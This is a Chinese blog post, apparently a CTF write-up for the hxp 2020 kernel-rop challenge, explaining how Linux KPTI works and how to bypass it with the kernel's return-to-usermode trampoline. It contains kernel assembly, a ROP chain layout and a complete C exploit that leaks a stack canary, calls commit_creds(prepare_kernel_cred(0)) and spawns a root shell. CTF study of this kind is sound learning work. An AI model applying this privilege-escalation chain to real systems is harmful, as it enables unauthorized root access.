0003-TIPS-2020-hxp-kernel-rop : bypass-KPTI-with-trampoline

最新推荐文章于 2023-09-29 13:42:02 发布

showme#

最新推荐文章于 2023-09-29 13:42:02 发布

阅读量325

点赞数

分类专栏： pwn_cve_kernel 文章标签： kernel pwn

本文链接：https://blog.csdn.net/u014679440/article/details/131256277

版权

pwn_cve_kernel 专栏收录该内容

36 篇文章 2 订阅

订阅专栏

KPTI

KPTI描述内容摘录自ctf wiki
KPTI 机制最初的主要目的是为了缓解 KASLR 的绕过以及 CPU 侧信道攻击。

在 KPTI 机制中，内核态空间的内存和用户态空间的内存的隔离进一步得到了增强。

内核态中的页表包括用户空间内存的页表和内核空间内存的页表。
用户态的页表只包括用户空间内存的页表以及必要的内核空间内存的页表，如用于处理系统调用、中断等信息的内存。
在这里插入图片描述
在 x86_64 的 PTI 机制中，内核态的用户空间内存映射部分被全部标记为不可执行。也就是说，之前不具有 SMEP 特性的硬件，如果开启了 KPTI 保护，也具有了类似于 SMEP 的特性。此外，SMAP 模拟也可以以类似的方式引入，只是现在还没有引入。因此，在目前开启了 KPTI 保护的内核中，如果没有开启 SMAP 保护，那么内核仍然可以访问用户态空间的内存，只是不能跳转到用户态空间执行 Shellcode。

Linux 4.15 中引入了 KPTI 机制，并且该机制被反向移植到了 Linux 4.14.11，4.9.75，4.4.110。

内核如何从内核态页面切换到用户态页面

通过SWITCH_TO_USER_CR3_STACK宏实现从内核态页面切换到用户态页面

SWITCH_TO_USER_CR3_STACK宏实现原理

.macro SWITCH_TO_USER_CR3_STACK	scratch_reg:req
	pushq	%rax
	SWITCH_TO_USER_CR3_NOSTACK scratch_reg=\scratch_reg scratch_reg2=%rax
	popq	%rax
.endm

.macro SWITCH_TO_USER_CR3_NOSTACK scratch_reg:req scratch_reg2:req
	ALTERNATIVE "jmp .Lend_\@", "", X86_FEATURE_PTI
	mov	%cr3, \scratch_reg

	ALTERNATIVE "jmp .Lwrcr3_\@", "", X86_FEATURE_PCID

	/*
	 * Test if the ASID needs a flush.
	 */
	movq	\scratch_reg, \scratch_reg2
	andq	$(0x7FF), \scratch_reg		/* mask ASID */
	bt	\scratch_reg, THIS_CPU_user_pcid_flush_mask
	jnc	.Lnoflush_\@

	/* Flush needed, clear the bit */
	btr	\scratch_reg, THIS_CPU_user_pcid_flush_mask
	movq	\scratch_reg2, \scratch_reg
	jmp	.Lwrcr3_pcid_\@

.Lnoflush_\@:
	movq	\scratch_reg2, \scratch_reg
	SET_NOFLUSH_BIT \scratch_reg

.Lwrcr3_pcid_\@:
	/* Flip the ASID to the user version */
	orq	$(PTI_USER_PCID_MASK), \scratch_reg

.Lwrcr3_\@:
	/* Flip the PGD to the user version */
	orq     $(PTI_USER_PGTABLE_MASK), \scratch_reg
	mov	\scratch_reg, %cr3
.Lend_\@:
.endm

引用自arttnba3
众所周知 Linux 采用四级页表结构（PGD->PUD->PMD->PTE），而 CR3 控制寄存器用以存储当前的 PGD 的地址，因此在开启 KPTI 的情况下用户态与内核态之间的切换便涉及到 CR3 的切换，为了提高切换的速度，内核将内核空间的 PGD 与用户空间的 PGD 两张页全局目录表放在一段连续的内存中（两张表，一张一页4k，总计8k，内核空间的在低地址，用户空间的在高地址），这样只需要将 CR3 的第 13 位取反便能完成页表切换的操作
在这里插入图片描述

SWITCH_TO_USER_CR3_STACK宏在哪些地方使用

在系统调用、中断处理处使用（都需要从内核态切换到用户态），如下是省略的系统调用entry_SYSCALL_64代码

SYM_CODE_START(entry_SYSCALL_64)
	UNWIND_HINT_EMPTY

	swapgs
	[...]
	cmpq	$__USER_CS, CS(%rsp)		/* CS must match SYSRET */
	jne	swapgs_restore_regs_and_return_to_usermode  // 注意这里 <<<<<<<<<<<<<<<<<<<

	movq	R11(%rsp), %r11
	cmpq	%r11, EFLAGS(%rsp)		/* R11 == RFLAGS */
	jne	swapgs_restore_regs_and_return_to_usermode  // 注意这里 <<<<<<<<<<<<<<<<<<<

	/* nothing to check for RSP */
	cmpq	$__USER_DS, SS(%rsp)		/* SS must match SYSRET */
	jne	swapgs_restore_regs_and_return_to_usermode  // 注意这里 <<<<<<<<<<<<<<<<<<<

	[...]
	SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi // <<<<<<<<<<<<<<<<<<<< 通过这个宏 从内核态页面切换到用户态页面

	popq	%rdi
	popq	%rsp
	USERGS_SYSRET64
SYM_CODE_END(entry_SYSCALL_64)

从代码可知，在系统调用结束，返回到用户态之前会调用SWITCH_TO_USER_CR3_STACK切换页面
之后再调用如下指令返回到用户态

	popq	%rdi
	popq	%rsp
	USERGS_SYSRET64

#define USERGS_SYSRET64				\
	swapgs;					\
	sysretq;

利用 SWITCH_TO_USER_CR3_STACK宏绕过 KPTI

由于SWITCH_TO_USER_CR3_STACK是宏，在/proc/kallsyms中不存在其符号地址，因此一般是先获取使用到该宏的函数地址，再加上SWITCH_TO_USER_CR3_STACK展开处的偏移作为rop的地址，进行利用

通过entry_SYSCALL_64中的SWITCH_TO_USER_CR3_STACK绕过KPTI

先找到entry_SYSCALL_64的地址，再通过反汇编工具找到entry_SYSCALL_64中 SWITCH_TO_USER_CR3_STACK展开开始处的地址，将该地址作为rop的一环
由于在entry_SYSCALL_64内部利用SWITCH_TO_USER_CR3_STACK，会自动执行到swapgs; sysretq，需要在rop链中构造sysretq切换到用户态是需要的内核栈
- 设置rcx为用户态rip，设置r11为用户态rflags，设置rsp为一个用户态堆栈

通过swapgs_restore_regs_and_return_to_usermode（trampoline）绕过 KPTI

再看看entry_SYSCALL_64的代码

SYM_CODE_START(entry_SYSCALL_64)
	UNWIND_HINT_EMPTY

	swapgs
	[...]
	cmpq	$__USER_CS, CS(%rsp)		/* CS must match SYSRET */
[1]	jne	swapgs_restore_regs_and_return_to_usermode  // 注意这里 <<<<<<<<<<<<<<<<<<<

	movq	R11(%rsp), %r11
	cmpq	%r11, EFLAGS(%rsp)		/* R11 == RFLAGS */
[1]	jne	swapgs_restore_regs_and_return_to_usermode  // 注意这里 <<<<<<<<<<<<<<<<<<<

	/* nothing to check for RSP */
	cmpq	$__USER_DS, SS(%rsp)		/* SS must match SYSRET */
[1]	jne	swapgs_restore_regs_and_return_to_usermode  // 注意这里 <<<<<<<<<<<<<<<<<<<

	[...]
[2]	SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi // <<<<<<<<<<<<<<<<<<<< 通过这个宏 从内核态页面切换到用户态页面

	popq	%rdi
	popq	%rsp
	USERGS_SYSRET64
SYM_CODE_END(entry_SYSCALL_64)

如果系统调用不出什么意外，是通过【2】处的代码从内核态页面切换到用户态页面
在执行检测不符合检测时，是通过swapgs_restore_regs_and_return_to_usermode函数返回到用户态：其中包含了页面切换，swapgs，iretq

SYM_INNER_LABEL(swapgs_restore_regs_and_return_to_usermode, SYM_L_GLOBAL)
#ifdef CONFIG_DEBUG_ENTRY
	/* Assert that pt_regs indicates user mode. */
	testb	$3, CS(%rsp)
	jnz	1f
	ud2
1:
#endif
	POP_REGS pop_rdi=0

	/*
	 * The stack is now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS.
	 * Save old stack pointer and switch to trampoline stack.
	 */
	movq	%rsp, %rdi
	movq	PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
	UNWIND_HINT_EMPTY

	/* Copy the IRET frame to the trampoline stack. */
	pushq	6*8(%rdi)	/* SS */
	pushq	5*8(%rdi)	/* RSP */
	pushq	4*8(%rdi)	/* EFLAGS */
	pushq	3*8(%rdi)	/* CS */
	pushq	2*8(%rdi)	/* RIP */

	/* Push user RDI on the trampoline stack. */
	pushq	(%rdi)

	/*
	 * We are on the trampoline stack.  All regs except RDI are live.
	 * We can do future final exit work right here.
	 */
	STACKLEAK_ERASE_NOCLOBBER

	SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi   // <<<<<<<<<<<<<<<<<<<< 通过这个宏 从内核态页面切换到用户态页面

	/* Restore RDI. */
	popq	%rdi
	SWAPGS
	INTERRUPT_RETURN							// <<<<<<<<<<<<<<<<<<<< iretq

#define INTERRUPT_RETURN iretq

大佬们说，通过反汇编才能看到细节
先找到swapgs_restore_regs_and_return_to_usermode的地址

/ # cat /proc/kallsyms | grep "swapgs_restore_regs_and_return_to_usermode"
ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode

.text:FFFFFFFF81200F10                                       
.text:FFFFFFFF81200F10                 pop     r15		【1】<< swapgs_restore_regs_and_return_to_usermode起始位置
.text:FFFFFFFF81200F12                 pop     r14
.text:FFFFFFFF81200F14                 pop     r13
.text:FFFFFFFF81200F16                 pop     r12
.text:FFFFFFFF81200F18                 pop     rbp
.text:FFFFFFFF81200F19                 pop     rbx
.text:FFFFFFFF81200F1A                 pop     r11
.text:FFFFFFFF81200F1C                 pop     r10
.text:FFFFFFFF81200F1E                 pop     r9
.text:FFFFFFFF81200F20                 pop     r8
.text:FFFFFFFF81200F22                 pop     rax
.text:FFFFFFFF81200F23                 pop     rcx
.text:FFFFFFFF81200F24                 pop     rdx
.text:FFFFFFFF81200F25                 pop     rsi
.text:FFFFFFFF81200F26                 mov     rdi, rsp		【2】<< 由于pop较多，会增加rop的长度，一般从这里利用，距离起始位置22
.text:FFFFFFFF81200F29                 mov     rsp, qword ptr gs:unk_6004
.text:FFFFFFFF81200F32                 push    qword ptr [rdi+30h]
.text:FFFFFFFF81200F35                 push    qword ptr [rdi+28h]
.text:FFFFFFFF81200F38                 push    qword ptr [rdi+20h]
.text:FFFFFFFF81200F3B                 push    qword ptr [rdi+18h]
.text:FFFFFFFF81200F3E                 push    qword ptr [rdi+10h]
.text:FFFFFFFF81200F41                 push    qword ptr [rdi]
.text:FFFFFFFF81200F43                 push    rax
.text:FFFFFFFF81200F44                 jmp     short loc_FFFFFFFF81200F89   【3】
[...]
[...]
.text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89: 			
.text:FFFFFFFF81200F89                 pop     rax							【3】还需要弹出两个内容
.text:FFFFFFFF81200F8A                 pop     rdi
.text:FFFFFFFF81200F8B                 call    cs:off_FFFFFFFF82040088		【4】swapgs
.text:FFFFFFFF81200F91                 jmp     cs:off_FFFFFFFF82040080		【5】iretq

FFFFFFFF81200F10 【1】 swapgs_restore_regs_and_return_to_usermode起始位置
FFFFFFFF81200F26 【2】由于pop较多，会增加rop的长度，一般从这里利用，距离起始位置22
FFFFFFFF81200F44 【3】还需要弹出两个内容
FFFFFFFF81200F8B 【4】swapgs
FFFFFFFF81200F91 【5】iretq
因此rop在布局为

pop rdi; ret;
0
prepare_kernel_cred
mov rdi, rax; ret;
commit_creds
swapgs_restore_regs_and_return_to_usermode + 22
0
0
user_rip
user_cs
user_rflags
user_sp
user_ss

由于iretq返回到用户态时内核栈布局比sysretq简单，一般是使用swapgs_restore_regs_and_return_to_usermode绕过KPTI

题目解

启用kpit

#!/bin/sh
qemu-system-x86_64 \
    -m 1024M \
    -cpu kvm64,+smep,+smap \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 nokaslr  quiet panic=1"

先执行绕过smep的exp，段错误

/ $ ./04_exploit_bypass_smep
[+] successfully opened /dev/hackme
[*] trying to leak up to 320 bytes memory
[+] found stack canary: 0x7ae17b2ee0e55b00 @ index 16
[*] saving user land state
[*] trying to overwrite return address with ROP chain
Segmentation fault
/ $

将exp中的rop修改为如下内容

    payload[cookie_off++] = cookie;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = pop_rdi_ret; // return address
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = prepare_kernel_cred;
    payload[cookie_off++] = mov_rdi_rax_clobber_rsi140_pop1_ret;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = commit_creds;
    payload[cookie_off++] = swapgs_restore_regs_and_return_to_usermode + 22; // 开始时有很多无用的pop指令，我们只需要回到那些pop指令之后的偏移量
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = user_rip;
    payload[cookie_off++] = user_cs;
    payload[cookie_off++] = user_rflags;
    payload[cookie_off++] = user_sp;
    payload[cookie_off++] = user_ss;

结果如下

/ $ ./05_exploit_bypass_kpti_with_trampoline
[+] successfully opened /dev/hackme
[*] trying to leak up to 320 bytes memory
[+] found stack canary: 0x25ed2c3e73fecd00 @ index 16
[*] saving user land state
[*] trying to run ROP chain and bypass KPTI with trampoline
[+] returned to user land
[+] got root (uid = 0)
[*] spawning shell
/ # id
uid=0 gid=0

完整exp

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>

char *VULN_DRV = "/dev/hackme";
void spawn_shell();

int64_t global_fd = 0;
uint64_t cookie = 0;
uint8_t cookie_off = 16;

uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t) spawn_shell;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t pop_rdi_ret = 0xffffffff815f88ec;
uint64_t mov_rdi_rax_clobber_rsi140_pop1_ret = 0xffffffff816bf203;
uint64_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81200f10;


void open_dev() {
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        printf("[!] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}


void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[cookie_off];
    printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off);
    if(!cookie) {
        puts("[-] failed to leak stack canary!");
        exit(-1);
    }
}


void spawn_shell() {
    puts("[+] returned to user land");
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] got root (uid = %d)\n", uid);
    } else {
        printf("[!] failed to get root (uid: %d)\n", uid);
        exit(-1);
    }
    puts("[*] spawning shell");
    system("/bin/sh");
    exit(0);
}


void save_userland_state() {
    puts("[*] saving user land state");
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax");
}


void overwrite_ret() {
    puts("[*] trying to run ROP chain and bypass KPTI with trampoline");
    uint8_t sz = 35;
    uint64_t payload[sz];

    payload[cookie_off++] = cookie;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = pop_rdi_ret; // return address
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = prepare_kernel_cred;
    payload[cookie_off++] = mov_rdi_rax_clobber_rsi140_pop1_ret;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = commit_creds;
    payload[cookie_off++] = swapgs_restore_regs_and_return_to_usermode + 22; // 开始时有很多无用的pop指令，我们只需要回到那些pop指令之后的偏移量
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = user_rip;
    payload[cookie_off++] = user_cs;
    payload[cookie_off++] = user_rflags;
    payload[cookie_off++] = user_sp;
    payload[cookie_off++] = user_ss;

    uint64_t data = write(global_fd, payload, sizeof(payload));

    puts("[-] if you can read this we failed the mission :(");
}


int main(int argc, char **argv) {
    open_dev();
    leak_cookie();
    save_userland_state();
    overwrite_ret();

    return 0;
}

参考

https://breaking-bits.gitbook.io/breaking-bits/exploit-development/linux-kernel-exploit-development/kernel-page-table-isolation-kpti
https://github.com/torvalds/linux/blob/7587a4a5a4f66293e13358285bcbc90cc9bddb31/arch/x86/entry/entry_64.S#L575
https://ctf-wiki.org/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti/#switch_to_user_cr3_stack

https://github.com/pr0cf5/kernel-exploit-practice/tree/master/bypass-smep#bypassing-smepkpti-via-rop
https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/#version-1-trampoline-goes-weeeh

showme#

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
0003-TIPS-2020-hxp-kernel-rop : bypass-KPTI-with-trampoline

KPTI 机制最初的主要目的是为了缓解 KASLR 的绕过以及 CPU 侧信道攻击。在 KPTI 机制中，内核态空间的内存和用户态空间的内存的隔离进一步得到了增强。内核态中的页表包括用户空间内存的页表和内核空间内存的页表。用户态的页表只包括用户空间内存的页表以及必要的内核空间内存的页表，如用于处理系统调用、中断等信息的内存。在 x86_64 的 PTI 机制中，内核态的用户空间内存映射部分被全部标记为不可执行。
复制链接

扫一扫